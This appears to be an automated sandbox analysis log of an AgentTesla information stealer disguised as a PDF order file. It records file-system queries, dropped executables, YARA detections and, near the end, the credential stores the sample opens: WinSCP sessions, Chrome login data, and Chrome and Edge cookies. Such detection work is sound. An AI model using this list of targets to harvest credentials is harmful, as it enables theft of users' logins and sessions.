Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Queries volume information: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Queries volume information: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Queries volume information: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.sgxIb.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z38PO_20248099-1_pdf.exe.3c32188.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z38PO_20248099-1_pdf.exe.3c32188.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.1617599669.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3861351736.0000000003091000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3860883657.00000000028BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1620262791.00000000030E5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3861351736.00000000030BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3860883657.0000000002891000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3860059633.00000000033EB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1620262791.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3860059633.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1447223274.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z38PO_20248099-1_pdf.exe PID: 7644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: z38PO_20248099-1_pdf.exe PID: 8096, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FrFvspxoHsPs.exe PID: 764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sgxIb.exe PID: 3236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sgxIb.exe PID: 4216, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
